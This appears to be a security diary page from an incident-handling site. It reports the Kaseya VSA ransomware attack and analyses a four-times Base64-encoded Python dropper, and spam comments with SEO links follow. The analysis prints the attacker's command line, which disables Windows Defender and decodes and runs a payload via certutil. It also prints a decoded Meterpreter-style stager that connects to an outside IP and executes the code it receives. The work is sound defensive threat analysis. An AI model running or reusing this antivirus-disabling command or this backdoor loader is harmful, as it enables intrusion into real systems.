Kaseya VSA Users Hit by Ransomware
We are aware that some MSSP's customers (Managed Security Services Providers) have been hit by a ransomware. It seems that four(4) MSSP's have been affected until now. The ransomware was spread through the remote management solution "VSA" provided by Kaseya[1]. This looks to be a brand new type of supply chain attack.
What we know so far? Kaseya requested all customers to shutdown their on-premises servers (the cloud version is already down) because, once compromised, prevent access to the device.
The ransomware is dropped to c:\kworking\agent.exe
[2].
If you're a Kaseya's VSA user, please check as soon as possible with your representative to mitigate this attack. We will update this diary with more information when available.
[Update 1]
Some artiacts:
Suspicious directory: C:\kworking
AgentMon.exe -> cmd.exe /c ping 127.0.0.1 -n 6745 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe ??> powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
[1] https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689
[2] https://www.virustotal.com/gui/file/d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
"inception.py"... Multiple Base64 Encodings
"Inception" is a very nice SF movie in which, if you did not watch it, dreams are implemented in people's minds to help to get access to sensitive information from their memory. Then, a dream is implemented into another dream, etc... up to five levels[1]! If you are not paying attention to the movie, you can be quickly lost.
Yesterday, I spotted an interesting malicious Python script. It has a very low VT score (3/58)[2] and is very small:
import base64;exec(base64.b64decode(bytes('aW1wb3J0IGJhc2U2NDtleGVjKGJhc2U2NC5iNjRkZWNvZGUoYnl0ZXMoJ2FXMXdiM0owSUdKaGMy VTJORHRsZUdWaktHSmhjMlUyTkM1aU5qUmtaV052WkdVb1lubDBaWE1vSjFwWWFHeFplV2htV0RKc2RHTkhPWGxrUmpsbVMwTmthVmxZVG14T2Fs RnVTMU0xYVU1cVVtdGFWMDUyV2tkVmIxZ3hPWEJpV0VKMlkyNVNabGg1WjI1Wk1qbHJXbGRPZWtwNWEzVmFNbFl3V2xjMWFtSXlVbXhqYVdkdVpG aFNiVXhVWjI1TFUyZHVXVlpqZUdReVNYcFRha0pLVTBVMU1sZFVTakJpUjFKRVpVUmFhVkl5ZUhCVVJXUkxZVWROZVZaVVNrOVJNMmcyV2tWb1Mw MVdhM3BWV0U1clVqSjRNRmRzUm5kaVYwbDZVMWRrYkZFd1NuZFpiV3hEWlZac1dFNVhOV0ZWTW1RMFZGVk9jazVyVG01aVJFSnFZbTF6TWxFeVpI SlRiVTQyVFZod2FVMXJOWGxYYkdoU1pGZE5lVTlYY0doTmJGbDNVekJTU21NeVRYbFBWM0JvVFd4WmQxUkhlRTlWUmtWM1pFZGFWazFXU2xSVmJG WkhWR3QwVW1Jd2NFUlhSVEV4VjFSSk5XUlhTblJXYlhCclVUSmtkbE51Y0ZabFZYaHhVbFJDVFdGclZUQlVSM0JHWlZVNVZGa3pUazVXUlZWNFZH NXdhbU5GZEZKaU1IQkVWakJ3TlZkc1pFZGphMDV1WWtkNGJGSXdOWE5aTUdoU1RtdE9ibUV3Y0d0U01uZ3dWMnhOTVdWdFNraFdiWGhxVVRKamVG TXhSbmRqTVVKWlZHcENhbUpzV25GYVJVMHhUVmRLZFZGdGFGcE5iazUyVTI1dk1WTnJjRFZsU0hCTlltdHdjMWRVVGxwaU1EVkVZVE5DV0dWclNt dFJNakZTVDFkT05VNVliR0ZXTURSNVV6QmtNMk5GVG5WYVJ6bG9Wak5vYzFOVlpEUmlSMHB3WVVkMFRGWklhSHBVTW1SMlUyeHdSR042YkdwbFZG WTFWMnhrVDAxcmRFaGtNMUpwVWpGYU1WTXdaRkpqUlhSU1kwZDRiRkl4V25GVE1HaDNZekpHV0ZOWVZtRlNNVnB4V1dwSmVHUXlUblJXYm5CcVpW ZG9jRmRXYUU5aVJUVnhWVmhXV21Gc2EzZFhhMlJYWVcxSmVWVnRlRXhTTVVaM1V6Rk9ORTR3YjNwVVZ6VlFZbXMwTlZNeFJuWlFVMk53VjNwQ1pF dFRhejBuTENkVlZFWXRPQ2NwS1M1a1pXTnZaR1VvS1NrPScsJ1VURi04JykpLmRlY29kZSgpKQ==','UTF-8')).decode())
When you see this, your reflex is to decode the Base64-encoded data. Probably a simple script, let's have a look at it:
remnux@remnux:/MalwareZoo/20210702$ base64dump.py inception.py ID Size Encoded Decoded md5 decoded -- ---- ------- ------- ----------- 1: 4 exec {.. dfaf38dfe495302d62c3a9cefd4dc593 2: 1384 aW1wb3J0IGJhc2U2 import base64;ex 953edd11c0c0f82534e750ebb8e4dad3 remnux@remnux:/MalwareZoo/20210702$ base64dump.py inception.py -s 2 -d import base64;exec(base64.b64decode(bytes('aW1wb3J0IGJhc2U2NDtleGVjKGJhc2U2NC5iNjRkZWNvZGUoYnl0ZXMoJ1pYaGxZeWhmWDJsdGNH OXlkRjlmS0NkaVlYTmxOalFuS1M1aU5qUmtaV052WkdVb1gxOXBiWEJ2Y25SZlh5Z25ZMjlrWldOekp5a3VaMlYwWlc1amIyUmxjaWduZFhSbUxU Z25LU2duWVZjeGQySXpTakJKU0U1MldUSjBiR1JEZURaaVIyeHBURWRLYUdNeVZUSk9RM2g2WkVoS01Wa3pVWE5rUjJ4MFdsRndiV0l6U1dkbFEw SndZbWxDZVZsWE5XNWFVMmQ0VFVOck5rTm5iREJqYm1zMlEyZHJTbU42TVhwaU1rNXlXbGhSZFdNeU9XcGhNbFl3UzBSSmMyTXlPV3BoTWxZd1RH eE9VRkV3ZEdaVk1WSlRVbFZHVGt0UmIwcERXRTExV1RJNWRXSnRWbXBrUTJkdlNucFZlVXhxUlRCTWFrVTBUR3BGZVU5VFkzTk5WRVV4VG5wamNF dFJiMHBEVjBwNVdsZEdja05uYkd4bFIwNXNZMGhSTmtObmEwcGtSMngwV2xNMWVtSkhWbXhqUTJjeFMxRndjMUJZVGpCamJsWnFaRU0xTVdKdVFt aFpNbk52U25vMVNrcDVlSHBNYmtwc1dUTlpiMDVEYTNCWGVrSmtRMjFST1dONU5YbGFWMDR5UzBkM2NFTnVaRzloVjNoc1NVZDRiR0pwYUd0TFZI aHpUMmR2U2xwRGN6bGplVFY1V2xkT01rdEhkM1JpUjFaMVMwZFJjRXRSY0d4bFIxWnFTMGh3YzJGWFNYVmFSMVpxWWpJeGQyTnRWbnBqZVdocFdW aE9iRTVxVVhWWmFsa3dXa2RXYW1JeVVteExSMUZ3UzFONE4wb3pUVzVQYms0NVMxRnZQU2NwV3pCZEtTaz0nLCdVVEYtOCcpKS5kZWNvZGUoKSk= ','UTF-8')).decode())
Another Base64 chunk of data? Let's do it again. Finally, the payload was encoded four times! (Thanks to base64dump.py for working smoothly with pipes!)
remnux@remnux:/MalwareZoo/20210702$ base64dump.py inception.py -s 2 -d | \ base64dump.py -s 2 -d | \ base64dump.py -s 2 -d | \ base64dump.py -s 2 -d import socket,zlib,base64,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('52[.]14[.]18[.]129',11577)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)<l: d+=s.recv(l-len(d)) exec(zlib.decompress(base64.b64decode(d)),{'s':s})
Basically, what we have is this:
remnux@remnux:/MalwareZoo/20210702$ echo "Hello" | base64 | base64 | base64 | base64 -d | base64 -d | base64 -d Hello
The decoded script is a slightly modified Meterpreter backdoor and the IP address is alive. I connected to it in a sandbox and expected to get some payload but nothing...
Simple technique but it remains very effective to bypass antivirus solutions!
[1] https://visual.ly/community/Infographics/entertainment/5-levels-inception
[2] https://www.virustotal.com/gui/file/5bbde2e0191fac97ecceb6daf05780ae794966cfa0eeeeeda57541e33205a133/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
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<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
https://defineprogramming.com/
Dec 26th 2022
9 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
9 months ago
rthrth
Jan 2nd 2023
9 months ago